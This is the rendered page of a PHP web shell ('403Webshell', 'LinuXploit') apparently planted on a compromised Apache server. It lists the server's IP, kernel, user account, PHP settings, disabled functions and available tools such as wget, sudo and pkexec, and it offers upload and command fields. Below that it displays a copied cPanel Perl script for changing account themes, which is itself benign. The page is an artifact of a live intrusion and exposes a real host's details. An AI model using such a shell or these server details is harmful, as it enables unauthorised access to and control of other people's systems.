403Webshell
Server IP : 103.119.228.120  /  Your IP : 18.117.192.64
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /scripts/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /scripts/modify_accounts
#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/modify_accounts                 Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

package scripts::modify_accounts;

use strict;
use warnings;

use Cpanel::Config::Constants ('DEFAULT_CPANEL_THEME');
use Cpanel::AcctUtils::Owner        ();
use Cpanel::Config::LoadUserDomains ();
use Cpanel::JSON                    ();
use Cpanel::Logger                  ();
use Cpanel::Reseller                ();
use Cpanel::SafeRun::Errors         ();
use Whostmgr::ACLS                  ();

use Getopt::Long ();

my $logger = Cpanel::Logger->new();

local $| = 1;

exit main(@ARGV) unless caller;

sub main {
    my @args = @_;

    if ( $> != 0 ) {
        $logger->die("Sorry, only root can use this script.");
    }

    my ( $theme, $users, $help, $all_users, $reseller, $style );

    Getopt::Long::GetOptionsFromArray(
        \@args,
        'help'                      => \$help,
        'theme=s'                   => \$theme,
        'all-users'                 => \$all_users,
        'users=s'                   => \$users,
        'all-users-from-reseller=s' => \$reseller,
        'style=s'                   => \$style
      )
      and ( !@args )
      or do {
        usage();
        exit 1;
      };

    if ($help) {
        usage();
        exit;
    }

    unless ( $theme && ( $all_users || $users || $reseller ) ) {
        usage();
        exit 1;
    }

    if ($reseller) {
        unless ( Cpanel::Reseller::isreseller($reseller) ) {
            $logger->die("'$reseller' is not a reseller.");
        }
    }

    local $ENV{'REMOTE_USER'} = 'root';

    Whostmgr::ACLS::init_acls();

    my %userdomains = Cpanel::Config::LoadUserDomains::loadtrueuserdomains( undef, 1 );

    my @list_users;
    if ( $all_users || $reseller ) {
        @list_users = keys %userdomains;
        if ($reseller) {
            @list_users = grep { my $real_owner = Cpanel::AcctUtils::Owner::getowner($_); $real_owner && $real_owner eq $reseller ? 1 : 0 } @list_users;
        }
    }
    else {
        @list_users = split( /\s*,\s*/, $users );
    }

    my %updated_users;
    foreach my $user (@list_users) {
        unless ( exists $userdomains{$user} ) {
            $logger->warn("User: $user does not exist.");
            next;
        }

        my %modify_opts = (
            'user'    => $user,
            'CPTHEME' => $theme,
        );
        $modify_opts{'STYLE'} = $style if $style;

        # Whostmgr::Accounts::Modify does not ship,
        # we need to use whmapi1 modifyacct instead
        my $json = Cpanel::SafeRun::Errors::saferunallerrors(
            '/usr/local/cpanel/bin/whmapi1',
            '--output', 'json',
            'modifyacct',
            %modify_opts
        );
        my $response = Cpanel::JSON::Load($json);

        if ( $response->{'metadata'}{'result'} == 0 ) {
            $logger->warn( "Unable to update data for $user: " . $response->{'metadata'}{'reason'} );
        }
        else {
            $updated_users{$user} = 1;
        }
    }

    my @failed_accts = grep { !$updated_users{$_} } @list_users;
    if ( scalar @failed_accts ) {
        $logger->warn( "Could not update these users: " . join( ', ', @failed_accts ) );
        exit 1;
    }
    else {
        $logger->info("Users are successfully updated.");
        exit 0;
    }
}

sub usage {
    print <<"EOM";

modify_accounts: Modify existing accounts to use a theme or a style

Usage:
    modify_accounts --theme=$Cpanel::Config::Constants::DEFAULT_CPANEL_THEME [--users=user1,another_user|--all-users|--all-users-from-reseller=reseller1]

  Options:
    --help: print usage and exit
    --theme: the theme to be adopted
    --users: a list of users to be modified, comma separated
    --all-users: update all users on the system
    --all-users-from-reseller: update all users that are owned by reseller
    --style: update specified users to use this style
EOM
    return;
}

Youez - 2016 - github.com/yon3zu
LinuXploit